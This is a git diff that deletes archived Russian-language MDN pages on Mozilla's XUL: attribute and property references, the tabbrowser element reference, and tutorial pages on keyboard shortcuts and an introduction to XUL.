- Тем не менее, элемент всё ещё будет отвечать событиям, связанным с мышью (т.е. реагировать на mouse events). Для активации элемента, присвойте атрибуту значение false.
-
-
- Графические элементы управления имеют свойство disabled, которое (кроме меню и их элементов) принято использовать в качестве атрибута на случай, если понадобится расширить функционал: добавить/изменить режим работы элемента, задействовать/отключить элемент и так далее.
-
-
- Image:XUL_ref_attr_disabled.png -
// Отключение элемента
-document.getElementById('buttonRemove').setAttribute("disabled", "true");
-
-// Задействование элемента путём снятия атрибута "disabled"
-document.getElementById('buttonRemove').removeAttribute("disabled");
-
-

-

Замечание по Firefox 3.5

-

Поддержка данного атрибута была добавлена в Firefox 3.5 для элементов keyset.

-

-
-

 

diff --git a/files/ru/mozilla/tech/xul/attribute/hidden/index.html b/files/ru/mozilla/tech/xul/attribute/hidden/index.html deleted file mode 100644 index f3a704e075..0000000000 --- a/files/ru/mozilla/tech/xul/attribute/hidden/index.html +++ /dev/null @@ -1,26 +0,0 @@ ---- -title: hidden -slug: Mozilla/Tech/XUL/Attribute/hidden -tags: - - XUL Attributes - - XUL Reference -translation_of: Archive/Mozilla/XUL/Attribute/hidden ---- - -
-
- hidden
-
- Тип: булево
-
- В случае, если значение установлено как true, элемент не отображается. Аналогом является установка в CSS свойства отображения 'none'.
-
-
-

Смотрите также

- -

-
-

 

diff --git a/files/ru/mozilla/tech/xul/attribute/index.html b/files/ru/mozilla/tech/xul/attribute/index.html deleted file mode 100644 index ef0984c948..0000000000 --- a/files/ru/mozilla/tech/xul/attribute/index.html +++ /dev/null @@ -1,9 +0,0 @@ ---- -title: Attribute -slug: Mozilla/Tech/XUL/Attribute ---- -

 

- -

This page was auto-generated because a user created a sub-page to this page.

- -

 

diff --git a/files/ru/mozilla/tech/xul/index.html b/files/ru/mozilla/tech/xul/index.html deleted file mode 100644 index 326dbea5cf..0000000000 --- a/files/ru/mozilla/tech/xul/index.html +++ /dev/null @@ -1,93 +0,0 @@ ---- -title: XUL -slug: Mozilla/Tech/XUL -tags: - - XUL -translation_of: Archive/Mozilla/XUL ---- -

 

- -
Руководство по XUL
-Подробное руководство, которое поможет вам легко начать работать с XUL. Первоначально было опубликовано на XULPlanet.
- -
XUL (XML User Interface Language) — это основанный на XML язык разметки, используемый в приложениях Mozilla. XUL позволяет создавать кроссплатформенные приложения с интерфейсами любой сложности, как использующие интернет, так и работающие локально. В приложениях легко изменить графику, всплывающие подсказки и расположение элементов так, чтобы их интерфейс отвечал требованиям бренда или был переведен на любой язык. Веб-разработчики, уже хорошо знакомые с Dynamic HTML (DHTML), легко изучат XUL и так же легко смогут создавать приложения с его помощью. Чтобы посмотреть примеры интерфейсов на XUL, откройте страницу XUL Periodic Table в браузере Firefox или любом другом браузере на движке Gecko.
- - - - - - - - -
-

Документация

- -
-
Справочник по XUL
-
См. также: докуметация MDC на prefwindow.
-
- -
-
Радости XUL
-
Здесь перечисленны основные возможности компонентов XUL.
-
- -
-
Совместимость приложений с Firefox 1.5
-
Список изменений в Firefox 1.5, важных для разработчиков на XUL.
-
- -
-
Руководство по шаблонам в XUL
-
Детальное руководство, рассказывающее о шаблонах, которые генерируют содержимое документа XUL на основе динамических источников данных.
-
- -
-
Оверлеи
-
Статья про оверлеи. Оверлеи используются для добавления элементов в уже существующие интерфейсы. Оверлеи — это очень удобный механизм для функционального или частичного расширения основанных на XUL приложений.
-
- -

Все ссылки…

-
-

Сообщество

- -
    -
  • Форумы Mozilla…
  • -
- -

- - - -

Утилиты

- - - -

Все ссылки…

- -

См. также

- -
-
JavaScript, XBL, CSS, RDF, Расширения, XULRunner
-
-
- -

Категории

- -

Interwiki Language Links

- -

 

- -

diff --git a/files/ru/mozilla/tech/xul/property/dateleadingzero/index.html b/files/ru/mozilla/tech/xul/property/dateleadingzero/index.html deleted file mode 100644 index ea5b2dd298..0000000000 --- a/files/ru/mozilla/tech/xul/property/dateleadingzero/index.html +++ /dev/null @@ -1,15 +0,0 @@ ---- -title: dateLeadingZero -slug: Mozilla/Tech/XUL/Property/dateLeadingZero -translation_of: Archive/Mozilla/XUL/Property/dateLeadingZero ---- - -
-
- dateLeadingZero
-
- Type: булево
-
- Значение, имеющее атрибут "только чтение", и указывающее, надо ли отображать ноль перед числом дня даты в случае, если число меньше 10.
-
diff --git a/files/ru/mozilla/tech/xul/property/datepicker.value/index.html b/files/ru/mozilla/tech/xul/property/datepicker.value/index.html deleted file mode 100644 index 9585adae32..0000000000 --- a/files/ru/mozilla/tech/xul/property/datepicker.value/index.html +++ /dev/null @@ -1,15 +0,0 @@ ---- -title: datepicker.value -slug: Mozilla/Tech/XUL/Property/datepicker.value -translation_of: Archive/Mozilla/XUL/Property/datepicker.value ---- - -
-
- value
-
- Type: строка
-
- Служит для отображения выбранной даты в формате ГГГГ-ММ-ДД. В отличие от свойства month, в этом значении месяцы ранжируются от 01 до 12. Используйте это свойство для установки нужной даты.
-
diff --git a/files/ru/mozilla/tech/xul/property/index.html b/files/ru/mozilla/tech/xul/property/index.html deleted file mode 100644 index e6a3fd7eae..0000000000 --- a/files/ru/mozilla/tech/xul/property/index.html +++ /dev/null @@ -1,295 +0,0 @@ ---- -title: Property -slug: Mozilla/Tech/XUL/Property -tags: - - NeedsTranslation - - TopicStub - - XUL Properties - - XUL Reference -translation_of: Archive/Mozilla/XUL/Property ---- -

« XUL Справочник

- - - diff --git a/files/ru/mozilla/tech/xul/property/selectionstart/index.html b/files/ru/mozilla/tech/xul/property/selectionstart/index.html deleted file mode 100644 index 4a5ba34fdc..0000000000 --- a/files/ru/mozilla/tech/xul/property/selectionstart/index.html +++ /dev/null @@ -1,16 +0,0 @@ ---- -title: selectionStart -slug: Mozilla/Tech/XUL/Property/selectionStart -translation_of: Archive/Mozilla/XUL/Property/selectionStart ---- - - -
-
selectionStart
-
Тип: integer
-
Получает или устанавливает начало выделения области текста в поле ввода. Используется в паре со свойством selectionEnd. Значение указывает на порядковый номер первого символа в выделенном фрагменте относительно всего текста.
-
- -
-

-
diff --git a/files/ru/mozilla/tech/xul/tabbrowser/index.html b/files/ru/mozilla/tech/xul/tabbrowser/index.html deleted file mode 100644 index 90f858cfeb..0000000000 --- a/files/ru/mozilla/tech/xul/tabbrowser/index.html +++ /dev/null @@ -1,235 +0,0 @@ ---- -title: tabbrowser -slug: Mozilla/Tech/XUL/tabbrowser -translation_of: Archive/Mozilla/XUL/tabbrowser ---- - -

This element is used for holding a set of read-only views of Web documents. It is similar to the browser element, except that multiple documents can be displayed, each in a separate tab.

-

Примечание: Starting in Firefox 3 (XULRunner/Gecko 1.9), this is only used in the main Firefox window and cannot be used in other XUL windows by third-party applications or extensions.

-
-
- Attributes
-
- autocompleteenabled, autocompletepopup, autoscroll, contentcontextmenu, contenttooltip, handleCtrlPageUpDown, onbookmarkgroup, onnewtab, tabmodalPromptShowing
-
-
-
- Properties
-
- browsers, canGoBack, canGoForward, contentDocument, contentTitle, contentViewerEdit, contentViewerFile, contentWindow, currentURI, docShell, documentCharsetInfo, homePage, markupDocumentViewer, securityUI, selectedBrowser, selectedTab, sessionHistory, tabContainer, tabs, visibleTabs, webBrowserFind, webNavigation, webProgress
-
-
-
- Methods
-
- addProgressListener, addTab, addTabsProgressListener,appendGroup, getBrowserAtIndex, getBrowserIndexForDocument, getBrowserForDocument, getBrowserForTab, getIcon, getNotificationBox, getTabForBrowser, getTabModalPromptBox, goBack, goBackGroup, goForward, goForwardGroup, goHome, gotoIndex, loadGroup, loadOneTab, loadTabs, loadURI, loadURIWithFlags, moveTabTo, pinTab, reload, reloadAllTabs, reloadTab, reloadWithFlags, removeAllTabsBut, removeCurrentTab, removeProgressListener, removeTab, removeTabsProgressListener,replaceGroup, selectTabAtIndex, setIcon, showOnlyTheseTabs, stop, unpinTab
-
-

Attributes

-

- -
- -
- - -
-
autoscroll
-
Тип: boolean
-
Установите значение атрибута на false, чтобы отключить автопрокрутку для браузера. Если значение этого атрибута true или отсутствует, автопрокрутка будет включена или в зависимости от пользовательских настроек general.autoScroll.
-
-
- -
- -
- -
- -
- -
- -

-

Properties

-

- -
-
browsers
-
Type: nodelist of browser elements
-
Holds a list of the browser elements inside the tabbrowser.
-
-
-
- canGoBack
-
- Type: boolean
-
- This read-only property is true if there is a page to go back to in the session history and the Back button should be enabled.
-
- -
-
canGoForward
-
Type: boolean
-
This read-only property is true if there is a page to go forward to in the session history and the Forward button should be enabled.
-
-
-
- contentDocument
-
- Type: document
-
- This read-only property contains the document object in the element.
-
-
-
- contentTitle
-
- Type: string
-
- This read-only property contains the title of the document object in the browser.
-
-
-
- contentViewerEdit
-
- Type: nsIContentViewerEdit
-
- This read-only property contains the nsIContentViewerEdit which handles clipboard operations on the document.
-
-
-
- contentViewerFile
-
- Type: nsIContentViewerFile
-
- Reference to the nsIContentViewerFile interface for the document.
-
-
contentWindow
Type: TODO
Use the contentWindow.wrappedJSObject to obtain a DOM(html) window object
-
-
-
- currentURI
-
- Type: nsIURI
-
- This read-only property contains the currently loaded URL. To change the URL, use the loadURI method.
-
-
-
- docShell
-
- Type: nsIDocShell
-
- This read-only property contains the nsIDocShell object for the document.
-
-
-
- documentCharsetInfo Obsolete since Gecko 12.0
-
- Type: nsIDocumentCharsetInfo
-
- This read-only property contains the nsIDocumentCharsetInfo object for the document which is used to handle which character set should be used to display the document. The properties of the nsIDocumentCharsetInfo object were merged into the docshell in Gecko 12.0 (Firefox 12.0 / Thunderbird 12.0 / SeaMonkey 2.9).
-
-
-
- homePage
-
- Type: string home page URL
-
- This property holds the value of the user's home page setting.
-
-
-
- markupDocumentViewer
-
- Type: nsIMarkupDocumentViewer
-
- This read-only property contains the nsIMarkupDocumentViewer which is responsible for drawing the document.
-
-
-
- securityUI
-
- Type: nsISecureBrowserUI
-
- The read-only property holds an object which may be used to determine the security level of the loaded document.
-
- -
-
selectedBrowser
-
Type: browser element
-
This read-only property returns the currently displayed browser element.
-
- -
-
selectedTab
-
Type: tab element
-
A reference to the currently selected tab, which will always be one of the tab elements in the tabs element. Assign a value to this property to modify the currently selected tab.
-
-
-
- sessionHistory
-
- Type: nsISHistory
-
- This read-only property contains the nsISHistory object which holds the session history.
-
- -
-
tabContainer
-
Type: tabs element
-
 
-
Returns the tabs element that contains the tabs. This is useful for add-ons that need to use events related to tabs in the browser window.
-
-
tabs
Type: array
A NodeList containing the tab objects for each tab in the tabbrowser. This is a shortcut for looking at the tabs in the tabContainer.
-
-
visibleTabs
Type: array
An array containing tab objects for each visible tab in the tabbrowser. This lets you determine which tabs are visible in the current tab set.
-
-
-
- webBrowserFind
-
- Type: nsIWebBrowserFind
-
- This read-only property contains an nsIWebBrowserFind object which can be used to search for text in the document.
-
-
-
- webNavigation
-
- Type: nsIWebNavigation
-
- This read-only property contains the nsIWebNavigation object for the document. Most of its methods are callable directly on the element itself, such as goBack and goForward. It also contains the load constants used by reloadWithFlags and loadURIWithFlags.
-
-
-
- webProgress
-
- Type: nsIWebProgress
-
- This read-only property contains an nsIWebProgress object which is used to monitor the progress of a document loading.
-

-

Methods

-

- - - - - -
-

Наследуемые методы
-addEvrutListruer(), apprudChild(), blur, click, clonruode(), compareDocumrutPosition, dispatchEvrut(), doCommand, focus, getAttribute(), getAttributruode(), getAttributruodruS(), getAttributruS(), getBoundingClirutRect(), getClirutRects(), getElemrutsByAttribute, getElemrutsByAttributruS, getElemrutsByClassName(), getElemrutsByTagName(), getElemrutsByTagNamruS(), getFeature(), getUserData, hasAttribute(), hasAttributruS(), hasAttributes(), hasChildNodes(), insertBefore(), isDefaultNamespace(), isEqualNode, isSamruode, isSupported(), lookupNamespaceURI, lookupPrefix, normalize(), querySelector(), querySelectorAll(), removeAttribute(), removeAttributruode(), removeAttributruS(), removeChild(), removeEvrutListruer(), replaceChild(), setAttribute(), setAttributruode(), setAttributruodruS(), setAttributruS(), setUserData

- -

- - diff --git "a/files/ru/mozilla/tech/xul/\320\260\321\202\321\200\320\270\320\261\321\203\321\202\321\213/autocheck/index.html" "b/files/ru/mozilla/tech/xul/\320\260\321\202\321\200\320\270\320\261\321\203\321\202\321\213/autocheck/index.html" deleted file mode 100644 index f8b9f1939a..0000000000 --- "a/files/ru/mozilla/tech/xul/\320\260\321\202\321\200\320\270\320\261\321\203\321\202\321\213/autocheck/index.html" +++ /dev/null @@ -1,12 +0,0 @@ ---- -title: autocheck -slug: Mozilla/Tech/XUL/Атрибуты/autoCheck -translation_of: Archive/Mozilla/XUL/Attribute/autoCheck ---- - - -
-
autocheck
-
Тип: boolean
-
Если значение этого атрибута true или отсутствует, проверяемое состояние кнопки будет переключаться каждый раз при нажатии кнопки. Если значение этого атрибута false, проверяемое состояние должно быть отрегулировано вручную. Когда autocheck истинно, тип кнопки должен быть "checkbox" или "radio".
-
diff --git "a/files/ru/mozilla/tech/xul/\320\260\321\202\321\200\320\270\320\261\321\203\321\202\321\213/autoscroll/index.html" "b/files/ru/mozilla/tech/xul/\320\260\321\202\321\200\320\270\320\261\321\203\321\202\321\213/autoscroll/index.html" deleted file mode 100644 index f60c1a1e56..0000000000 --- "a/files/ru/mozilla/tech/xul/\320\260\321\202\321\200\320\270\320\261\321\203\321\202\321\213/autoscroll/index.html" +++ /dev/null @@ -1,12 +0,0 @@ ---- -title: autoscroll -slug: Mozilla/Tech/XUL/Атрибуты/autoscroll -translation_of: Archive/Mozilla/XUL/Attribute/autoscroll ---- - - -
-
autoscroll
-
Тип: boolean
-
Установите значение атрибута на false, чтобы отключить автопрокрутку для браузера. Если значение этого атрибута true или отсутствует, автопрокрутка будет включена или в зависимости от пользовательских настроек general.autoScroll.
-
diff --git "a/files/ru/mozilla/tech/xul/\320\260\321\202\321\200\320\270\320\261\321\203\321\202\321\213/index.html" "b/files/ru/mozilla/tech/xul/\320\260\321\202\321\200\320\270\320\261\321\203\321\202\321\213/index.html" deleted file mode 100644 index 02f7461eb9..0000000000 --- "a/files/ru/mozilla/tech/xul/\320\260\321\202\321\200\320\270\320\261\321\203\321\202\321\213/index.html" +++ /dev/null @@ -1,270 +0,0 @@ ---- -title: Атрибуты -slug: Mozilla/Tech/XUL/Атрибуты -tags: - - XUL -translation_of: Archive/Mozilla/XUL/Attribute ---- -

-

-

Атрибуты XUL

- diff --git "a/files/ru/mozilla/tech/xul/\320\274\320\265\321\202\320\276\320\264\321\213/index.html" "b/files/ru/mozilla/tech/xul/\320\274\320\265\321\202\320\276\320\264\321\213/index.html" deleted file mode 100644 index 135b087f78..0000000000 --- "a/files/ru/mozilla/tech/xul/\320\274\320\265\321\202\320\276\320\264\321\213/index.html" +++ /dev/null @@ -1,185 +0,0 @@ ---- -title: Методы -slug: Mozilla/Tech/XUL/Методы -translation_of: Archive/Mozilla/XUL/Method ---- -

« XUL Reference home

- - - - - - diff --git "a/files/ru/mozilla/tech/xul/\321\200\321\203\320\272\320\276\320\262\320\276\320\264\321\201\321\202\320\262\320\276_\320\277\320\276_xul/index.html" "b/files/ru/mozilla/tech/xul/\321\200\321\203\320\272\320\276\320\262\320\276\320\264\321\201\321\202\320\262\320\276_\320\277\320\276_xul/index.html" deleted file mode 100644 index c9b37fb8b8..0000000000 --- "a/files/ru/mozilla/tech/xul/\321\200\321\203\320\272\320\276\320\262\320\276\320\264\321\201\321\202\320\262\320\276_\320\277\320\276_xul/index.html" +++ /dev/null @@ -1,142 +0,0 @@ ---- -title: Руководство по XUL -slug: Mozilla/Tech/XUL/Руководство_по_XUL -tags: - - XUL - - Руководство_по_XUL -translation_of: Archive/Mozilla/XUL/Tutorial ---- -

 

-


- Это руководство расскажет нам о XUL (читается как зул). XUL — это основанный на XML язык описания интерфейса пользователя (XML User-interface Language). Язык создавался для описания интерфейсов в приложениях Mozilla.

-

Введение

- -

Простые элементы

- -

Боксы (BOX Model)

- -

Элементы представления

- -

Меню и панели инструментов

- -

Скрипты и события

- -

Объектная модель документа (DOM)

- -

Деревья

- -

RDF и шаблоны

- -

Темы оформления и локализация

- -

Привязки (Bindings)

- -

Специальные виды окон

- -

Установка

- -
-

Это руководство первоначально написано Нилом Дикиным(Neil Deakin). И он любезно разрешил нам разместить текст на MDC.

-
-
-
Информация о происхождении документа
-
    -
  • Автор: Neil Deakin
  • -
  • Последнее обновление: 3 июля 2005
  • -
  • О правах копирования: © 1999-2005 XULPlanet.com
  • -
-
-

Interwiki Language Links

-

diff --git "a/files/ru/mozilla/tech/xul/\321\200\321\203\320\272\320\276\320\262\320\276\320\264\321\201\321\202\320\262\320\276_\320\277\320\276_xul/keyboard_shortcuts/index.html" "b/files/ru/mozilla/tech/xul/\321\200\321\203\320\272\320\276\320\262\320\276\320\264\321\201\321\202\320\262\320\276_\320\277\320\276_xul/keyboard_shortcuts/index.html" deleted file mode 100644 index ea41465bc4..0000000000 --- "a/files/ru/mozilla/tech/xul/\321\200\321\203\320\272\320\276\320\262\320\276\320\264\321\201\321\202\320\262\320\276_\320\277\320\276_xul/keyboard_shortcuts/index.html" +++ /dev/null @@ -1,392 +0,0 @@ ---- -title: Keyboard Shortcuts -slug: Mozilla/Tech/XUL/Руководство_по_XUL/Keyboard_Shortcuts -translation_of: Archive/Mozilla/XUL/Tutorial/Keyboard_Shortcuts ---- -

- -

You could use keyboard event handlers to respond to the keyboard. However, it would be tedious to do that for every button and menu item (though it could be necessary when one's key commands are only triggered when the user is focused on a particular element).

- -

Creating a Keyboard Shortcut

- -

XUL provides methods in which you can define keyboard shortcuts. We've already seen in the section on menus that we can define an attribute called accesskey which specifies the key which a user can press to activate the menu or menu item. In the example below, the File menu can be selected by pressing Alt and F (or some other key combination for a specific platform). Once the File menu is open, the Close menu item can be selected by pressing C.

- -

Example 1 : Исходный код Просмотреть

- -
<menubar id="sample-menubar">
-  <menu id="file-menu" label="File" accesskey="f">
-    <menupopup id="file-popup">
-      <menuitem id="close-command" label="Close" accesskey="c"/>
-    </menupopup>
-  </menu>
-</menubar>
-
- -

You can also use the accesskey attribute on buttons. When the key is pressed in this case, the button is selected.

- -

You might want to set up more general keyboard shortcuts however. For example, pressing Control+C to copy text to the clipboard. Although shortcuts such as this might not always be valid, they will usually work any time the window is open. Usually, a keyboard shortcut will be allowed at any time and you can check to see whether it should do something using a script. For example, copying text to the clipboard should only work when some text is selected.

- -

Key element

- -

XUL provides an element, key, which lets you define a keyboard shortcut for a window. It has attributes to specify the key that should be pressed and what modifier keys (such as Shift or Control) need to be pressed. An example is shown below:

- -
<keyset>
-  <key id="sample-key" modifiers="shift" key="R"/>
-</keyset>
-
- -

This sample defines a keyboard shortcut that is activated when the user presses the Shift key and R. The key attribute (note that it has the same name as the element itself) can be used to indicate which key should be pressed, in this case R. You could add any character for this attribute to require that key to be pressed. The modifiers that must be pressed are indicated with the modifiers attribute. It is a space-separated list of modifier keys, which are listed below.

- -
-
alt
-
The user must press the Alt key. On the Macintosh, this is the Option key.
-
control
-
The user must press the Control key.
-
meta
-
The user must press the Meta key. This is the Command key on the Macintosh.
-
shift
-
The user must press the Shift key.
-
os
-
The user must press the Win key. This is the Super key or the Hyper key on Linux. If this value is used, typically the key combination conflicts with system wide shortcut keys. So, you shouldn't use this value as far as possible.
-
accel
-
The user must press the special accelerator key. The key used for keyboard shortcuts on the user's platform. Usually, this would be the value you would use.
-
access
-
The user must press the special access key. The key used for access keys on the user's platform.
-
- -

Your keyboard won't necessarily have all of the keys, in which case they will be mapped to modifier keys that you do have.

- -

The key element must be placed inside a keyset element. This element is designed for holding a set of key elements, which serves to group all of the key definitions in one place in a file. Any key elements outside of a keyset element will not work.

- -

Each platform generally uses a different key for keyboard shortcuts. For example, Windows uses the Control key and the Macintosh uses the Command key. It would be inconvenient to define separate key elements for each platform. Luckily, there is a solution. The modifier accel refers to the special platform-specific key used for shortcuts. It works just like the other modifiers, but won't be the same on every platform.

- -

Here are some additional examples:

- -
<keyset>
-  <key id="copy-key" modifiers="control" key="C"/>
-  <key id="explore-key" modifiers="control alt" key="E"/>
-  <key id="paste-key" modifiers="accel" key="V"/>
-</keyset>
-
- -

Keycode attribute

- -

The key attribute is used to specify the key that must be pressed. However, there will also be cases where you want to refer to keys that cannot be specified with a character (such as the Enter key or the function keys). The key attribute can only be used for printable characters. Another attribute, keycode can be used for non-printable characters.

- -

The keycode attribute should be set to a special code which represents the key you want. A table of the keys is listed below. Not all of the keys are available on all keyboards.

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
VK_CANCELVK_BACKVK_TABVK_CLEAR
VK_RETURNVK_ENTERVK_SHIFTVK_CONTROL
VK_ALTVK_PAUSEVK_CAPS_LOCKVK_ESCAPE
VK_SPACEVK_PAGE_UPVK_PAGE_DOWNVK_END
VK_HOMEVK_LEFTVK_UPVK_RIGHT
VK_DOWNVK_PRINTSCREENVK_INSERTVK_DELETE
VK_0VK_1VK_2VK_3
VK_4VK_5VK_6VK_7
VK_8VK_9VK_SEMICOLONVK_EQUALS
VK_AVK_BVK_CVK_D
VK_EVK_FVK_GVK_H
VK_IVK_JVK_KVK_L
VK_MVK_NVK_OVK_P
VK_QVK_RVK_SVK_T
VK_UVK_VVK_WVK_X
VK_YVK_ZVK_NUMPAD0VK_NUMPAD1
VK_NUMPAD2VK_NUMPAD3VK_NUMPAD4VK_NUMPAD5
VK_NUMPAD6VK_NUMPAD7VK_NUMPAD8VK_NUMPAD9
VK_MULTIPLYVK_ADDVK_SEPARATORVK_SUBTRACT
VK_DECIMALVK_DIVIDEVK_F1VK_F2
VK_F3VK_F4VK_F5VK_F6
VK_F7VK_F8VK_F9VK_F10
VK_F11VK_F12VK_F13VK_F14
VK_F15VK_F16VK_F17VK_F18
VK_F19VK_F20VK_F21VK_F22
VK_F23VK_F24VK_NUM_LOCKVK_SCROLL_LOCK
VK_COMMAVK_PERIODVK_SLASHVK_BACK_QUOTE
VK_OPEN_BRACKETVK_BACK_SLASHVK_CLOSE_BRACKETVK_QUOTE
VK_HELP   
- -

For example, to create a shortcut that is activated when the user presses Alt and F5, do the following:

- -
<keyset>
-  <key id="test-key" modifiers="alt" keycode="VK_F5"/>
-</keyset>
-
- -

The example below demonstrates some more keyboard shortcuts:

- -
<keyset>
-  <key id="copy-key" modifiers="accel" key="C"/>
-  <key id="find-key" keycode="VK_F3"/>
-  <key id="switch-key" modifiers="control alt" key="1"/>
-</keyset>
-
- -

The first key is invoked when the user presses their platform-specific shortcut key and C. The second is invoked when the user presses F3. The third is invoked on a press of the Control key, the Alt key and 1. If you wanted to distinguish between keys on the main part of the keyboard and the numeric keypad, use the VK_NUMPAD keys (such as VK_NUMPAD1).

- -
-

Refer to the Mozilla Keyboard Planning FAQ and Cross Reference for more information about selecting keyboard shortcuts to use in applications.

-
- -

Using the Keyboard Shortcuts

- -

Now that we know how to define keyboard shortcuts, we'll find out how we can use them. There are two ways.

- -

The first way is the simplest and just requires that you use the command event handler on the key element. When the user presses the key, the script will be invoked. An example is shown below:

- -
<keyset>
-  <key id="copy-key" modifiers="accel" key="C" oncommand="DoCopy();"/>
-</keyset>
-
- -

The function DoCopy will be called when the user presses the keys specified by the key element, which in this example, are the keys for copying to the clipboard (such as Control+C). This will work as long as the window is open. The DoCopy function should check to see if text is selected and then copy the text to the clipboard. Note that textboxes have the clipboard shortcuts built-in so you don't have to implement them yourself.

- -

Assigning a keyboard shortcut on a menu

- -

The second way is: If you are assigning a keyboard shortcut that performs a command that also exists on a menu, you can associate the key element directly with the menu command. To do this, also add a key attribute on the menuitem. Set its value to the id of the key that you want to use. The example below demonstrates this.

- -

Example 2 : Исходный код Просмотреть

- -
Image:keyshort1.jpg
- -
<keyset>
-  <key id="paste-key" modifiers="accel" key="V"
-          oncommand="alert('Paste invoked')"/>
-</keyset>
-
-<menubar id="sample-menubar">
-  <menu id="edit-menu" label="Edit" accesskey="e">
-    <menupopup id="edit-popup">
-      <menuitem id="paste-command"
-         accesskey="p" key="paste-key"
-         label="Paste" oncommand="alert('Paste invoked')"/>
-    </menupopup>
-  </menu>
-</menubar>
-
- -

The menuitem's key attribute, which here is paste-key is equal to the id of the defined key. You can use this for additional keys as well to define keyboard shortcuts for any number of menu items.

- -

You'll also notice in the image that text has been placed next to the Paste menu command to indicate that Control and the V key can be pressed to invoke the menu command. This is added for you based on the modifiers on the key element. Keyboard shortcuts attached to menus will work even if the menu is not open.

- -

One additional feature of key definitions is that you can disable them easily. To do this add a disabled attribute to the key element and set it to the value true. This disables the keyboard shortcut so that it cannot be invoked. It is useful to change the disabled attribute using a script.

- -

 

- -
-

Our find files example

- -

Let's add keyboard shortcuts to the find files dialog. We'll add four of them, one for each of the Cut, Copy, and Paste commands and also one for the Close command when the user presses Escape.

- -
<?xml version="1.0" encoding="utf-8"?>
-<window xmlns="http://www.mozilla.org/keymaster/gat...re.is.only.xul">
- <keyset>
-   <key id="cut_cmd" modifiers="accel" key="X"/>
-   <key id="copy_cmd" modifiers="accel" key="C"/>
-   <key id="paste_cmd" modifiers="accel" key="V"/>
-   <key id="close_cmd" keycode="VK_ESCAPE" oncommand="window.close();"/>
- </keyset>
- -

<vbox flex="1">
- <toolbox>
- <menubar id="findfiles-menubar">
- <menu id="file-menu" label="File" accesskey="f">
- <menupopup id="file-popup">
- <menuitem label="Open Search..." accesskey="o"/>
- <menuitem label="Save Search..." accesskey="s"/>
- <menuseparator/>
- <menuitem label="Close" accesskey="c" key="close_cmd"
- oncommand="window.close();"/>
- </menupopup>
- </menu>
- <menu id="edit-menu" label="Edit" accesskey="e">
- <menupopup id="edit-popup">
- <menuitem label="Cut" accesskey="t" key="cut_cmd"/>
- <menuitem label="Copy" accesskey="c" key="copy_cmd"/>
- <menuitem label="Paste" accesskey="p" key="paste_cmd" disabled="true"/>
- </menupopup>
- </menu>
- </menubar>
- </toolbox>
- </vbox>
- </window>

- -

Now we can use those shortcuts to activate the commands. Of course, the clipboard commands don't do anything anyway, as we haven't written those scripts.

-
- -

Key Events

- -

There are three keyboard events that may be used if the key related features described above aren't suitable. These events are:

- -
-
keypress
-
Called when a key is pressed and released when an element has the focus. You might use this to check for allowed characters in a field.
-
keydown
-
Called when a key is pressed down while an element has the focus. Note that the event will be called as soon as the key is pressed, even if it hasn't been released yet.
-
keyup
-
Called when a key is released while an element has the focus.
-
- -

Key events are only sent to the element that has the focus. Typically, this will include textboxes, buttons, checkboxes and so forth. If no element is focused, the key event will instead be targeted at the XUL document itself. In this case, you can add an event listener to the window tag. Normally though, if you want to respond to keys globally, you will use a keyboard shortcut as described earlier.

- -

The key event object has two properties which hold the key that was pressed. The keyCode property holds the key code and may be compared to one of the constants from the key table earlier in this section. The charCode is used for printable characters and will hold the numeric Unicode character code value for the key that was pressed.

- -
Our Find files example so far : Исходный код Просмотреть
- -

Next, we'll find out how to handle focus and the selection.

- -

- -

diff --git "a/files/ru/mozilla/tech/xul/\321\200\321\203\320\272\320\276\320\262\320\276\320\264\321\201\321\202\320\262\320\276_\320\277\320\276_xul/\320\262\320\262\320\265\320\264\320\265\320\275\320\270\320\265/index.html" "b/files/ru/mozilla/tech/xul/\321\200\321\203\320\272\320\276\320\262\320\276\320\264\321\201\321\202\320\262\320\276_\320\277\320\276_xul/\320\262\320\262\320\265\320\264\320\265\320\275\320\270\320\265/index.html" deleted file mode 100644 index c79c3cb055..0000000000 --- "a/files/ru/mozilla/tech/xul/\321\200\321\203\320\272\320\276\320\262\320\276\320\264\321\201\321\202\320\262\320\276_\320\277\320\276_xul/\320\262\320\262\320\265\320\264\320\265\320\275\320\270\320\265/index.html" +++ /dev/null @@ -1,58 +0,0 @@ ---- -title: Введение -slug: Mozilla/Tech/XUL/Руководство_по_XUL/Введение -tags: - - Руководство_по_XUL -translation_of: Archive/Mozilla/XUL/Tutorial/Introduction ---- -

TODO: нужно исправить Шаблон:Next

-

Этот учебник является руководством для изучения XUL (XML User Interface Language) - кроссплатформенного языка для описания пользовательского интерфейса приложений.

-

В учебнике демонстрируется создание простого интерфейса для поиска файлов, похожего на Macintosh's Sherlock или диалога поиска файлов в ОС Windows. Имейте в виду, что создается только пользовательский интерфейс с ограниченной функциональностью. Фактически, поиск файлов реализован не будет. Синяя линия слева от параграфа будет указывать места где диалог поиска файлов будет изменяться. Ниже приводится общая информация о XUL, которую при первом чтении можно пропустить.

-

Что такое XUL и почему он был создан?

-

XUL (произносится как "zool" и рифмуется с "cool") был создан для упрощения и ускорения разработки браузера Mozilla. Это язык на основе XML, поэтому все преимущества имеющиеся в XML также доступны для XUL.

-

Большинство приложений должны быть разработаны для конкретных платформ, что влечет за собой большие затраты времени и издержки. Ранее уже были разработаны кросс-платформенные решения. Например в Java главным преимуществом была переносимость. XUL является одним из таких языков, спроектированных специально для создания переносимых пользовательских интерфейсов. Java забирает много времени для создания приложений даже для одной платформы. Время затраченное на компиляцию и отладку кода может быть довольно длительным. С помощью XUL, интерфейс приложения реализовать или изменить можно быстро и легко.

-

XUL имеет все преимущества других XML языков. К примеру XHTML или другие XML языки такие как MathML или SVG могут легко интегрироваться в него. Также, текст отображаемый в XUL легко локализовать, а это значит что его можно перевести на другие языки без особых усилий.

-

Какие пользовательские интерфейсы могут быть реализованы средствами XUL?

-

XUL предоставляет возможность создания большинства элементов содержащихся в современных графических интерфейсах. Элементы которые можно создать:

- -

Выводящийся контент может быть сформирован из содержимого XUL файла или из данных в datasource. В Mozilla, такие datasources включают почтовый ящик пользователя, его закладки и результаты поиска. Содержимое меню, деревьев и других элементов может быть заполнено этими данными, либо вашими собственными данными, представленными в RDF файле.

-

Есть несколько способов применения XUL:

- -

